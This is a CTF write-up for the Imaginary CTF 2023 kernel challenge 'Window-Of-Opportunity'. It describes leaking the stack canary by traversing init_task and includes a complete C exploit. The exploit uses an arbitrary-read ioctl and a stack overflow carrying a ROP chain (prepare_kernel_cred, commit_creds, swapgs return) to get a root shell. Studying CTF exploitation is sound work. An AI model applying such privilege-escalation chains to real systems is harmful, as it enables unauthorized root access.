Imaginary CTF 2023

Ditto
7 min readJul 28, 2023

--

Hi, had time to solve one linux kernel challenge in Imaginary CTF 2023

# Window-Of-Opportunity

I am writing because I have a different solution than most of the write-ups I saw.

The bug is pretty straight forward. You can refer to these write-ups to see the bug (https://ctftime.org/writeup/37670).

Given an arbitrary read primitive, and stack overflow, I went down the approach of trying to leak the canary. I had great troubles trying to read the canary because every kernel thread have its own unique stack canary.

Initially after leaking a stack address, I tried to search downwards for a stack canary of the format (0xYYYYYYYYYYYYY00). However, I found many false positives / canaries of other processes.

My second approach was to leak the init_task address, then parse the linked list to find my own binary. And subsequently read the kernel thread canary.

# Some background on init_task

The init_task is a linked list of all the processes in the kernel. Specially for this challenge, you can parse it like this. Note that the offsets are specific to the kernel version.

  uint64_t init_task = kernel_base + offset_from_base_to_init_task;
printf("init_task = %p\n", init_task); // [1] kernel init_task here

uint64_t stack_leak = buffer[2];

// hard-coded offsets
uint64_t task_struct_process_name_offset = 0xb98; // [2] points to the process name
uint64_t canary_offset = 0x9c8; //2504
uint64_t children_offset = 0x8B8; // 2232
uint64_t pid_offset = 0x9c0;

int i = 0;
uint64_t process_task_struct_name;
uint64_t process_task_struct_children;
uint64_t process_task_struct_pid;
uint64_t current_task = init_task;
while (1){
//printf("index = %d\n", i);
i = i + 1;
process_task_struct_name = current_task + task_struct_process_name_offset;
process_task_struct_pid = current_task + pid_offset;
process_task_struct_children = current_task + children_offset;

//printf("Current_task = %p\n", current_task);
//printf("process_task_struct_name = %p\n", process_task_struct_name);
//printf("process_task_struct_children = %p\n", process_task_struct_children);

// read task_struct name
buffer[0] = process_task_struct_name;
ioctl(fd, 0x1337, buffer);
//printf("Name = %016llx\n", (unsigned long long)buffer[1]);

if (buffer[1] == 0x6161616161616161){
printf("\n\nFound current process at %p\n", current_task);
printf("Name = %016llx\n", (unsigned long long)buffer[1]);
printf("Exiting!!!\n");
break;
}

// read process children
buffer[0] = process_task_struct_children;
ioctl(fd, 0x1337, buffer);
//printf("Children = %016llx\n", (unsigned long long)buffer[1]);
//printf("\n");
current_task = buffer[1] - children_offset;
}

// exit the while loop, and read the canary of the current_task
// (which is my task)
buffer[0] = current_task + canary_offset;
ioctl(fd, 0x1337, buffer);
printf("Canary = %016llx\n", (unsigned long long)buffer[1]);
uint64_t canary = (unsigned long long)buffer[1];

The idea is:

  1. parse the task_struct
  2. read the process name and check if its same as mine
  3. go to the next process by parsing the task_struct’s children

# Conclusion

Finally, there are many other interesting approaches that I can learn from:

  1. initramfs (https://ret2school.github.io/post/iwindow/)
  2. Reading $gs_base to leak the canary (https://hackmd.io/@capri/SyQS6Eo9n)
  3. ROP with init_cred rather than finding rop gadgets to do prepare_kernel_creds (kudos to @Shunt)

## My Solution

#include <stdio.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <signal.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#if HAVE_STROPTS_H
#include <stropts.h>
#endif
#include <fcntl.h>
#include <termios.h>


unsigned long user_cs, user_ss, user_rflags, user_sp;

void save_state(){
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved state");
}

void get_shell(void){
puts("[*] Returned to userland");
if (getuid() == 0){
printf("[*] UID: %d, got root!\n", getuid());
system("/bin/sh");
} else {
printf("[!] UID: %d, didn't get root\n", getuid());
exit(-1);
}
}


int fd;
void get_device(){
fd = open("/dev/window", O_RDWR);
if (fd < 0){
puts("[!] Failed to open device");
} else {
puts("[*] Opened device");
}
}

int do_write(int fd, char * buffer, int size){
return write(fd, buffer, size);
}

// Function to read hexadecimal data from the user and store it in the buffer
int readHexData(uint64_t* buffer, int maxSize) {
int count = 0;

printf("Please enter %d bytes of hexadecimal data (e.g., 0x9b6ba7a35dab9100) or press Enter to continue:\n", maxSize * 8);

while (count < maxSize) {
if (scanf("%17s", buffer) == 1) {
// Check if the input is an empty line (Enter)
if (buffer[0] == '\0') {
continue; // Continue to the next iteration if input is empty
} else {
// Convert the hexadecimal input to decimal and store it in the buffer
sscanf(buffer, "%llx", (unsigned long long*)&buffer[count]);
count++;
}
} else {
break; // Break the loop if an error occurs during scanf
}
}
printf("Count = %d\n");
return count; // Return the number of elements read from user input
}

int mygetch ( void )
{
int ch;
struct termios oldt, newt;

tcgetattr ( STDIN_FILENO, &oldt );
newt = oldt;
newt.c_lflag &= ~( ICANON | ECHO );
tcsetattr ( STDIN_FILENO, TCSANOW, &newt );
ch = getchar();
tcsetattr ( STDIN_FILENO, TCSANOW, &oldt );

return ch;
}

int main() {

save_state();

puts("[*] pwning...");
int current_pid = getpid();
printf("Current_pid = %p\n", current_pid);

get_device();

printf("device fd = %p\n", fd);

/* buffer overflow here */
//char *buffer = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
//do_write(fd, buffer, strlen(buffer));

//char *buffer_ioctl = "aaaa";

uint64_t buffer[0x20];
buffer[0] = 0xfffffe0000000004;
ioctl(fd, 0x1337, buffer);

for (int i = 0; i < 0x20; i++) {
printf("%016llx ", (unsigned long long)buffer[i]);
if ((i + 1) % 2 == 0) {
printf("\n"); // Print a newline after every 2 elements (8 bytes per line)
}
}
printf("\n");

uint64_t kernel_leak = buffer[1];
printf("kernel_leak = %p\n", kernel_leak);

uint64_t offset = 0xffffffff82008e00 - 0xffffffff81000000;
uint64_t offset_from_base_to_vmemmap_base = 0xffffffff82920918-0xffffffff81000000;
uint64_t offset_from_base_to_init_task = 0xffffffff8301b600-0xffffffff81000000;
uint64_t offset_from_base_to_prepare_kernel_cred = 0xffffffff810ffb80-0xffffffff81000000;
uint64_t offset_from_base_to_commit_creds = 0xffffffff810ff8a0-0xffffffff81000000;
uint64_t offset_from_base_to_swapgs_restore_regs_and_return_to_usermode = 0xffffffff820010f0-0xffffffff81000000+27;
uint64_t pop_rax_ret = 0xffffffff81458f94-0xffffffff81000000;
uint64_t pop_rdi_ret = 0xffffffff811347bd-0xffffffff81000000;
uint64_t pop_rbp_ret = 0xffffffff810b894f-0xffffffff81000000;
uint64_t pop_r13_r12_rbp_rbx_ret = 0xffffffff81096162-0xffffffff81000000;
uint64_t space_to_write_offset = 0xffffffff830001c0-0xffffffff81000000;
uint64_t mov_qword_rdi_rax = 0xffffffff82921c85-0xffffffff81000000;
uint64_t mov_rax_into_stack = 0xffffffff810bd085-0xffffffff81000000;

//ffffffff810ffb80 T prepare_kernel_cred
//ffffffff810ff8a0 T commit_creds
//ffffffff820010f0 T swapgs_restore_regs_and_return_to_usermode
//0xffffffff811347bd: pop rdi ; ret ; (1 found)
//0xffffffff81096162: pop r13 ; pop r12 ; pop rbp ; pop rbx ; ret ; (1 found)


//0xffffffff810b894f: pop rbp ; ret ; (1 found)

//0xffffffff815cdc5d: pop rdi ; ret ; (1 found)
//mov rdi, rbx ; call r13 ; (1 found)

//0xffffffff81a9f41f: add al, ch ; push r12 ; pop rdi ; call qword [rbp+0x48] ; (1 found)
//push rsp ; pop rdi ; jmp qword [rdx] ; (1 found)

//0xffffffff8240fd5a: mov qword [rbp-0x68], rax ; mov qword [rbp-0x60], 0x0000000000000000 ; call r13 ; (1 found)
//0xffffffff82921c85: mov qword [rdi], rax ; xor edx, edx ; mov edi, edx ; ret ; (1 found)
//0xffffffff81b1f0db: xchg rax, rcx ; cmp eax, 0xC65CE883 ; ret ; (1 found)
//xchg rax, r10, r11, r15
//0xffffffff810038ca: mov rdi, r12 ; call rbx ; (1 found) // use this
//0xffffffff81c7b421: xchg rax, r12 ; call qword [r13+0x48] ; (1 found)
//0xffffffff81a9b421: xchg rax, r12 ; pop rdi ; call qword [rbp+0x48] ; (1 found)
//0xffffffff81b2b421: xchg rax, r12 ; push rsi ; call qword [rbp+0x48] ; (1 found)
//0xffffffff810bd085: mov qword [rsp+0x28], rax ; mov r9, r8 ; mov r8, rcx ; mov rcx, rsi ; call rdi ; (1 found)

//0xffffffff81245be1: pop rbx ; ret ; (1 found)
//0xffffffff81ddaa57: push rbp ; jmp rcx ; (1 found)



uint64_t kernel_base = kernel_leak - offset;
printf("kernel_base = %p\n", kernel_base);

uint64_t vmemmap_base = kernel_base + offset_from_base_to_vmemmap_base;
printf("vmemmap_base = %p\n", vmemmap_base);
uint64_t init_task = kernel_base + offset_from_base_to_init_task;
printf("init_task = %p\n", init_task);

buffer[0] = vmemmap_base;
ioctl(fd, 0x1337, buffer);

/*
for (int i = 0; i < 0x20; i++) {
printf("%016llx ", (unsigned long long)buffer[i]);
if ((i + 1) % 2 == 0) {
printf("\n"); // Print a newline after every 2 elements (8 bytes per line)
}
}
printf("\n");
*/

uint64_t stack_leak = buffer[2];

uint64_t task_struct_process_name_offset = 0xb98;
uint64_t canary_offset = 0x9c8; //2504
uint64_t children_offset = 0x8B8; // 2232
uint64_t pid_offset = 0x9c0;

int i = 0;
uint64_t process_task_struct_name;
uint64_t process_task_struct_children;
uint64_t process_task_struct_pid;
uint64_t current_task = init_task;
while (1){
//printf("index = %d\n", i);
i = i + 1;
process_task_struct_name = current_task + task_struct_process_name_offset;
process_task_struct_pid = current_task + pid_offset;
process_task_struct_children = current_task + children_offset;

//printf("Current_task = %p\n", current_task);
//printf("process_task_struct_name = %p\n", process_task_struct_name);
//printf("process_task_struct_children = %p\n", process_task_struct_children);

// read task_struct name
buffer[0] = process_task_struct_name;
ioctl(fd, 0x1337, buffer);
//printf("Name = %016llx\n", (unsigned long long)buffer[1]);

if (buffer[1] == 0x6161616161616161){
printf("\n\nFound current process at %p\n", current_task);
printf("Name = %016llx\n", (unsigned long long)buffer[1]);
printf("Exiting!!!\n");
break;
}

// read process children
buffer[0] = process_task_struct_children;
ioctl(fd, 0x1337, buffer);
//printf("Children = %016llx\n", (unsigned long long)buffer[1]);
//printf("\n");
current_task = buffer[1] - children_offset;
}

buffer[0] = current_task + canary_offset;
ioctl(fd, 0x1337, buffer);
printf("Canary = %016llx\n", (unsigned long long)buffer[1]);
uint64_t canary = (unsigned long long)buffer[1];
// do brute force

/*
char input[18];
uint64_t initial_offset = 0x410000;
while (1){
uint64_t try_read_stack = stack_leak + initial_offset;

printf("try_read_stack = %p\n", try_read_stack);

buffer[0] = try_read_stack;
buffer[1] = 0x4141414141414141; // this should be overwritten in the event of good arbitrary read

ioctl(fd, 0x1337, buffer);

initial_offset += 0x100;

if (buffer[1] == 0x4141414141414141 || buffer[1] == 0x0){
continue;
}

// if successful read, leak
for (int i = 0; i < 0x20; i++) {
printf("%016llx ", (unsigned long long)buffer[i]);
if ((i + 1) % 2 == 0) {
printf("\n"); // Print a newline after every 2 elements (8 bytes per line)
}
}
printf("\n");

printf("\nPress any key to continue.\n");
fgets(input, 18, stdin);
if (input[0] == "\r" || input[0] == "\n" || input[0] == 0xa){
printf("Continue\n");
}
else{
printf("Found canary\n!");
printf("Canary = %s\n", input);
break;
}
}
*/
//mygetch();

char *buffer_overflow = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";

uint64_t overflow_buffer[0x100];
i = 0;
overflow_buffer[i++] = 0x4141414141414141;
overflow_buffer[i++] = 0x4141414141414141;
overflow_buffer[i++] = 0x4141414141414141;
overflow_buffer[i++] = 0x4141414141414141;
overflow_buffer[i++] = 0x4141414141414141;
overflow_buffer[i++] = 0x4141414141414141;
overflow_buffer[i++] = 0x4141414141414141;
overflow_buffer[i++] = 0x4141414141414141;
overflow_buffer[i++] = canary;
overflow_buffer[i++] = kernel_base+space_to_write_offset; //this is rbp

// RIP starts here
overflow_buffer[i++] = kernel_base+pop_rdi_ret;
overflow_buffer[i++] = 0x0;
overflow_buffer[i++] = kernel_base+offset_from_base_to_prepare_kernel_cred;

overflow_buffer[i++] = kernel_base+pop_rdi_ret;
overflow_buffer[i++] = kernel_base+pop_r13_r12_rbp_rbx_ret+4;
overflow_buffer[i++] = kernel_base+mov_rax_into_stack; // also calls rdi

overflow_buffer[i++] = kernel_base+pop_rdi_ret+1;
overflow_buffer[i++] = kernel_base+pop_rdi_ret+1;
overflow_buffer[i++] = kernel_base+pop_rdi_ret+1;
overflow_buffer[i++] = kernel_base+pop_rdi_ret+1;
overflow_buffer[i++] = kernel_base+pop_rdi_ret;

overflow_buffer[i++] = 0x4141414141414141; // this is overwritten with creds
overflow_buffer[i++] = kernel_base+offset_from_base_to_commit_creds;

overflow_buffer[i++] = (uint64_t)(kernel_base+offset_from_base_to_swapgs_restore_regs_and_return_to_usermode+27);
overflow_buffer[i++] = 0;
overflow_buffer[i++] = 0;
overflow_buffer[i++] = (uint64_t)get_shell;
overflow_buffer[i++] = user_cs;
overflow_buffer[i++] = user_rflags;
overflow_buffer[i++] = user_sp;
overflow_buffer[i++] = user_ss;


do_write(fd, overflow_buffer, i * 8);


printf("Hi!\n");
printf("Bye world!\n");

return 0;
}

--

--